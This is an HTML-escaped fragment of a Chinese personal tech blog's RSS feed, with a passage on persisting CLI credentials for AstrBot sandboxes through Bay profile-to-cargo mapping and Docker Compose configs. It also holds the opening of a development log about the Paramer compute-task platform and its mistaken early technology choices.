&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;computer_dir_writable=true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;但这个方案后面又暴露了第二层问题：WebUI 更新 AstrBot 之后，源码文件会被更新器重新覆盖。容器没有重建时，&lt;code&gt;command&lt;/code&gt; 里的复制动作不会再次执行，于是运行中的 AstrBot 又退回了“不传 &lt;code&gt;cargo_id&lt;/code&gt;”的原版逻辑。&lt;/p&gt;
&lt;p&gt;现象很典型：机器人调用 &lt;code&gt;lark-cli&lt;/code&gt; 时又提示未配置，甚至重新发起 &lt;code&gt;lark-cli config init&lt;/code&gt;。这并不是 external cargo 里的凭证丢了，而是 AstrBot 创建 sandbox 时没有再把 fixed cargo 传给 Bay，结果模型落进了新的 managed cargo。&lt;/p&gt;
&lt;p&gt;第二版改成了启动时最小文本 patch，并启动后台 watcher 周期性补打 patch。它能止血，但本质上还是在 AstrBot 容器里改源码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;sh&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- -&lt;span class="l"&gt;c&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; python /AstrBot/local-patches/apply-astrbot-cargo-patch.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; while sleep 10; do
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; python /AstrBot/local-patches/apply-astrbot-cargo-patch.py || true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; ) &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; exec python main.py&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./data:/AstrBot/data:z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./patches:/AstrBot/local-patches:ro,z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这个脚本只做三件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;给 &lt;code&gt;ShipyardNeoBooter.__init__&lt;/code&gt; 增加 &lt;code&gt;cargo_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;BayClient.create_sandbox()&lt;/code&gt; 时传入 &lt;code&gt;cargo_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;computer_client.py&lt;/code&gt; 中从 &lt;code&gt;shipyard_neo_cargo_id&lt;/code&gt; 或 &lt;code&gt;ASTRBOT_SHIPYARD_NEO_CARGO_ID&lt;/code&gt; 读取 cargo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它比整文件覆盖更适合 WebUI 更新场景，但仍然不适合作为长期方案。真正的问题不是 AstrBot 是否能读某个环境变量，而是“创建 sandbox 时该由谁决定 cargo”。这个决定更应该放在 Bay 这个 sandbox 控制面里。&lt;/p&gt;
&lt;p&gt;最终我把方案改到了 Bay 侧：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;cargo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;root_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/var/lib/bay/cargos&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;default_size_limit_mb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mount_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/workspace&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;profile_defaults&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;python-lark&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ws-fd07bebac9ae&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Bay 的逻辑变成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果请求显式带了 &lt;code&gt;cargo_id&lt;/code&gt;，尊重请求&lt;/li&gt;
&lt;li&gt;如果请求没带 &lt;code&gt;cargo_id&lt;/code&gt;，先按 &lt;code&gt;profile&lt;/code&gt; 查 &lt;code&gt;cargo.profile_defaults&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;命中默认 cargo 时，用该 external cargo 创建 sandbox&lt;/li&gt;
&lt;li&gt;绑定 fixed cargo 的 profile 跳过 warm pool，因为 warm sandbox 自带 managed cargo，不能重绑&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是 AstrBot 侧可以恢复成原生容器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;TZ=${TZ:-Asia/Shanghai}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;./data:/AstrBot/data:z&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;/etc/localtime:/etc/localtime:ro&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这次验证结论：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bay_default_cargo_applied=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark_auth_status_ok=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lark_auth_list_ok=true
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tea_authenticated=true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;所以问题不是凭证持久化无效，而是原来的 patch 生命周期不够强。fixed external cargo 仍然有效；现在由 Bay 根据 &lt;code&gt;profile&lt;/code&gt; 稳定选择 cargo，不再依赖 AstrBot 源码 patch。&lt;/p&gt;
&lt;h2 id="不同配置文件使用不同账号"&gt;不同配置文件使用不同账号
&lt;/h2&gt;&lt;p&gt;接下来还有一个更重要的设计问题：如果不同 AstrBot 配置文件要使用不同的 Gitea 账号和飞书账号，账号状态应该绑在哪里？&lt;/p&gt;
&lt;p&gt;当前 AstrBot 配置文件可以各自设置 &lt;code&gt;shipyard_neo_profile&lt;/code&gt;，所以短期可以做多个 Shipyard Neo profile，例如 &lt;code&gt;python-lark&lt;/code&gt;、&lt;code&gt;python-feishu-flow&lt;/code&gt;、&lt;code&gt;python-gitea-work&lt;/code&gt;。每个 profile 可以复用同一份工具镜像，但在 Bay 的 &lt;code&gt;cargo.profile_defaults&lt;/code&gt; 里绑定不同 external cargo。这样每个账号组都有自己的 &lt;code&gt;/workspace/.config&lt;/code&gt;，CLI 配置不会互相踩。&lt;/p&gt;
&lt;p&gt;更干净的长期方案是把账号组作为部署资源管理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 Shipyard Neo 中为每个账号组创建 external cargo&lt;/li&gt;
&lt;li&gt;在 AstrBot 配置文件里用 &lt;code&gt;shipyard_neo_profile&lt;/code&gt; 表达账号组&lt;/li&gt;
&lt;li&gt;由 Bay 根据 profile 选择对应 &lt;code&gt;cargo_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建 sandbox 时传入 &lt;code&gt;cargo_id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lark-cli&lt;/code&gt; 和 &lt;code&gt;tea&lt;/code&gt; 继续把配置写到 &lt;code&gt;/workspace/.config&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样账号状态就从“某个临时 sandbox 的副产物”变成“某个 AstrBot 配置文件绑定的持久化 workspace”。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default config -&amp;gt; cargo-default -&amp;gt; /workspace/.config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;feishu-flow config -&amp;gt; cargo-feishu-flow -&amp;gt; /workspace/.config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gitea-work config -&amp;gt; cargo-gitea-work -&amp;gt; /workspace/.config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;现在已经有了 Bay 侧 &lt;code&gt;profile -&amp;gt; cargo&lt;/code&gt; 映射，所以单账号组持久化已经跑通。后续要支持多账号组，只需要继续增加 profile 和 external cargo 映射，而不是继续把所有账号都塞进同一个 cargo。&lt;/p&gt;
&lt;p&gt;如果不想继续改 AstrBot，最稳妥的替代方案仍然是为不同账号组拆成不同 AstrBot 实例：每个实例有自己的配置仓库、自己的 Bay profile 或 Bay 部署、自己的 CLI 登录态。这比较笨，但隔离边界清晰，出问题时也容易回滚。&lt;/p&gt;
&lt;h2 id="当前结果"&gt;当前结果
&lt;/h2&gt;&lt;p&gt;现在我有了一个新的、干净的 AstrBot 配置仓库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/Projects/astrbot-config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;它已经能通过 Docker Compose 启动 AstrBot，并且接上了可持久化 CLI 凭证的 Shipyard Neo sandbox。&lt;/p&gt;
&lt;p&gt;下一步再继续往这个仓库里加：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 Git 管理的全局 Skills&lt;/li&gt;
&lt;li&gt;插件内置 Skills&lt;/li&gt;
&lt;li&gt;自研 Gitea / 飞书同步插件&lt;/li&gt;
&lt;li&gt;可同步的机器人记忆、规则和状态映射&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第一阶段先到这里：先让 AstrBot 以一个可复现的 GitOps 形态跑起来，并让后续工具调用不再重复处理基础授权问题。&lt;/p&gt;</description></item><item><title>Paramer 开发记录 1 - 错误的技术选型</title><link>https://v3n0.com/post/paramer/1/</link><pubDate>Fri, 17 Apr 2026 15:39:25 +0800</pubDate><guid>https://v3n0.com/post/paramer/1/</guid><description>&lt;p&gt;著名的程序员 V 说过：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Paramer 这个项目，总结一下，就是一个参数化计算任务的批量运行管理平台。用户可以自行使用 Paramer SDK 编写任意形式的计算任务脚本（称为 Template），只需要确认输入输出格式符合规范。支持对接外部的调度器进行分布式的任务调度，支持在后端管理不同的 Template 版本。&lt;/p&gt;
&lt;p&gt;然而这个总结是我接触这个项目到现在一年了才能做出的精炼的总结。实际上当项目拿到手时，我看到的是古神低语。&lt;/p&gt;
&lt;p&gt;在接触 Paramer 之前，我对于后端的了解仅限于用 go gin 写了几个简单到几乎是 hello world 的路由，但是稍微了解了一下项目大概会怎样启动，怎样划分模块。&lt;/p&gt;
&lt;h2 id="黑历史---simflow-时期"&gt;黑历史 - Simflow 时期
&lt;/h2&gt;&lt;p&gt;这一段其实应当放在第 0 篇: &lt;a class="link" href="https://v3n0.com/post/paramer/0-preface" target="_blank" rel="noopener"
&gt;Paramer 开发记录 0 - 开端&lt;/a&gt; 更为合适。但是当时比较匆忙，还没定好每篇大纲就 push 了，现在补一下，作为背景故事的补充。&lt;/p&gt;
&lt;p&gt;最开始这个项目他们打算叫 SimFlow。我完全不知道 Sim 是什么， Flow 是什么。我只是从各种看不懂的术语中模糊地感知他们是搞硬件的，搞电磁领域的研究，只知道他们似乎想要结合物理和 AI，用于加快各种器件的研发。&lt;/p&gt;
&lt;p&gt;先前他们已经尝试做了一个让人非常眼前一黑的原型，我时至今日都没办法一下子搞清楚这项目是怎么跑起来的。&lt;/p&gt;
&lt;p&gt;他们分了一段时间给我先熟悉一下项目。&lt;/p&gt;
&lt;p&gt;代码即视感如图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/paramer/1/image.png"
width="2940"
height="1840"
srcset="https://v3n0.com/post/paramer/1/image_hu_2055fb81fcd4bc1.png 480w, https://v3n0.com/post/paramer/1/image_hu_72108f181a446950.png 1024w"
loading="lazy"
alt="一千三百行处处爆红的单文件 Python Server"
class="gallery-image"
data-flex-grow="159"
data-flex-basis="383px"
&gt;
&lt;img src="https://v3n0.com/post/paramer/1/image-1.png"
width="1592"
height="1382"
srcset="https://v3n0.com/post/paramer/1/image-1_hu_3cde100d38d1bb26.png 480w, https://v3n0.com/post/paramer/1/image-1_hu_eb3b7cb19e0f1f69.png 1024w"
loading="lazy"
alt="地狱 API 编排"
class="gallery-image"
data-flex-grow="115"
data-flex-basis="276px"
&gt;
&lt;img src="https://v3n0.com/post/paramer/1/image-2.png"
width="1972"
height="1352"
srcset="https://v3n0.com/post/paramer/1/image-2_hu_857382dda23a1abb.png 480w, https://v3n0.com/post/paramer/1/image-2_hu_3c0e5ec1106bd7e.png 1024w"
loading="lazy"
alt="一个类负责一切，另一个类负责另一个一切（并调用那个调用一切的类）"
class="gallery-image"
data-flex-grow="145"
data-flex-basis="350px"
&gt;
&lt;img src="https://v3n0.com/post/paramer/1/image-3.png"
width="1738"
height="1694"
srcset="https://v3n0.com/post/paramer/1/image-3_hu_dcccb6b54dfe614b.png 480w, https://v3n0.com/post/paramer/1/image-3_hu_c0d57395fbf92ae3.png 1024w"
loading="lazy"
alt="薨"
class="gallery-image"
data-flex-grow="102"
data-flex-basis="246px"
&gt;
&lt;img src="https://v3n0.com/post/paramer/1/image-4.png"
width="1500"
height="1544"
srcset="https://v3n0.com/post/paramer/1/image-4_hu_ebbf272d2b856627.png 480w, https://v3n0.com/post/paramer/1/image-4_hu_3790d20d1d16b087.png 1024w"
loading="lazy"
alt="真的有人这样导入包的啊"
class="gallery-image"
data-flex-grow="97"
data-flex-basis="233px"
&gt;&lt;/p&gt;
&lt;p&gt;以及启动时要管理几十个长成 SIMFLOW_XXXXX_XXX_XX_XXXXX_XXX 几乎要看起来一模一样这样的环境变量，几乎完全为 0 的文档，一百四十多行的 requirements.txt，后端无框架，直接 aiohttp 手搓，每一个路由函数都是一个巨大的面条代码，没有 ORM，没有迁移脚本，纯靠 &lt;code&gt;self.db_module = importlib.import_module('aiosqlite')&lt;/code&gt;，然后手搓一切 SQL。&lt;/p&gt;
&lt;p&gt;当我对于 simflow 完全感到束手无策时，我时常会注意到 &lt;code&gt;xfmr_6port&lt;/code&gt; 这个字样，只知道似乎它和 simflow 密切相关，甚至直接耦合。我不理解 xfmr 是什么诡异的字母组合，6port 又是什么也看不懂。于是我提问，得到了一个非常简短的回答：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;xfmr 就是 Transformer。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;哦，Transformer，这下知道跟啥有关了。不是说要搞物理 + AI 嘛，也许有希望能串起来了。但 6port 又是个啥。&lt;/p&gt;
&lt;p&gt;于是我去了 xfmr_6port 的项目文件夹，看到了另一不可名状之物，比 simflow 更不可名状一点。&lt;/p&gt;
&lt;p&gt;图就不放了，好奇的可以直接问我。大概描述一下就是，比 simflow 更没组织的少量 Python 脚本，大量的完全没法理解的 shell 脚本，非常大量的我见都没见过的后缀名的 VSCode 都不知道上哪下插件来显示语法，也不知道到底有没有用只能假设全都有用的文本文件。&lt;/p&gt;
&lt;p&gt;但我必须得了解这个项目，想问，又不知道我&lt;strong&gt;对于一个项目，真正需要了解什么&lt;/strong&gt;，真问了，发现回答的也不太听得懂。给人一种看上去他们好像自己也很忙很折磨，也没时间让我真的理解来龙去脉的感觉。一旦问到一些自己感到迷惑的地方，他们又会表示，这个地方你不用管，你只需要关心那一块就行了。&lt;/p&gt;
&lt;p&gt;而且因为完全没明白对方想表达什么导致现在完全记不得问了什么，答复什么&lt;/p&gt;
&lt;p&gt;问来问去，看来看去，看了一圈，也没看到有关 Transformer 的东西。于是，Veno 放弃了思考。&lt;/p&gt;
&lt;p&gt;几天之后，我在某个 xml 文件里看到了个 pin 这个字样，一拍脑袋突然意识到：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这 Transformer 他娘的是变压器&lt;/strong&gt;！一直说什么物理 AI，AI 物理的，敢情是到现在还没接过任何一个 AI 啊。&lt;/p&gt;
&lt;p&gt;绝望的是我后来需要为这个项目多写几个 CURD 路由并且保证它不崩，好在它真跑成功了。&lt;/p&gt;
&lt;p&gt;虽然我认为&lt;strong&gt;真的很没必要了解 Simflow 的代码结构&lt;/strong&gt;，但如果你真的好奇当前的软件是个什么情况, AI 整理出来的代码结构图我会放在本文末尾。需要注意的是，我当时对 Backend Server 以外的区域一无所知，只知道是一个黑盒系统，我丢进去一个输出 X，有可能会得到一个 Y。&lt;/p&gt;
&lt;p&gt;就这样我维护了 simflow 差不多一个月的时间。&lt;/p&gt;
&lt;h2 id="完全重写---paramer-v1"&gt;完全重写 - Paramer V1
&lt;/h2&gt;&lt;p&gt;这样的代码不可能继续高效维护的，由于我们目前属于一个预研项目，没有很紧急的 DDL，大家决定重构一版。更准确地说，这是准备完全重做一个版本。&lt;/p&gt;
&lt;p&gt;因为 Simflow 这个名字被注册过，所以使用了 Paramer 这个名字。&lt;/p&gt;
&lt;p&gt;你可以直接认为，我现在正从零开始写一个项目。&lt;/p&gt;
&lt;p&gt;在重写之前，作为团队中唯一的后端开发的我，仍然没有深刻理解 Paramer 这个产品到底想做成什么样子。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对产品的理解偏差恰恰是一件非常危险的事&lt;/strong&gt;，并且直接导致后续各种路线错误，包括技术选型，后端架构，代码结构，开发周期预估等等。&lt;/p&gt;
&lt;h2 id="如何理解产品"&gt;如何理解产品
&lt;/h2&gt;&lt;p&gt;著名程序员 V 曾经说过：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;构建产品的前提，是理解产品&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;究竟怎样才算理解产品呢？他提出了三大考虑维度：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户群体&lt;/li&gt;
&lt;li&gt;解决方案&lt;/li&gt;
&lt;li&gt;计费形式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然而，由于错误的团队沟通导致了错误的需求理解。以上的视角是一年之后，也就是写博客时的 Veno 的视角。一年之前的 Veno，&lt;strong&gt;仅仅和团队沟通出了第二点的一半&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;经过几天的沟通和开会，当时的我总结出的旭哥提出的需求，差不多是这样的：我们需要一个分布式集群的，可拓展的，异步的，容器化的，仿真任务管理后端。并且允许通过“模板”来定义多种多样的仿真任务，由 Paramer 管理。&lt;/p&gt;
&lt;p&gt;直到现在才知道，原来那个 xfmr_6port，他们是想把它做成一个示例用的任务模板，Paramer 会需要能管理各种各样的模板，比如 xfmr_4port, 8port 等等。&lt;/p&gt;
&lt;p&gt;可惜的是当时的 Veno 并没有关注到真正应该关注的问题，也没有想着跟产品经理 battle，去砍掉一些不合理的需求。&lt;/p&gt;
&lt;p&gt;于是得到了大概这样的关键词：分布式，容器化，模板化。&lt;/p&gt;
&lt;p&gt;对比一下过去和现在关注到的重点：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Then&lt;/th&gt;
&lt;th&gt;Now&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 分布式&lt;/td&gt;
&lt;td&gt;1. 客户群体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 容器化&lt;/td&gt;
&lt;td&gt;2. 解决方案&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 模板化&lt;/td&gt;
&lt;td&gt;3. 计费形式&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;记住这个对比，它是悲剧的开端。&lt;/p&gt;
&lt;h2 id="错误的技术选型"&gt;错误的技术选型
&lt;/h2&gt;&lt;p&gt;我们回到当时的 Veno 的视角，看看他面对目前理解的需求，做出了怎样的技术选型。&lt;/p&gt;
&lt;p&gt;首先，我们需要分布式，容器化，可拓展的高性能计算任务资源调度，显然会想到大概会是需要 Kubernetes。调研了一下，有没有适用于 Kubernetes 的 HPC 任务编排框架呢？搜了下还挺多，Kubeflow, Volcano, Kueue。到底选哪个？&lt;/p&gt;
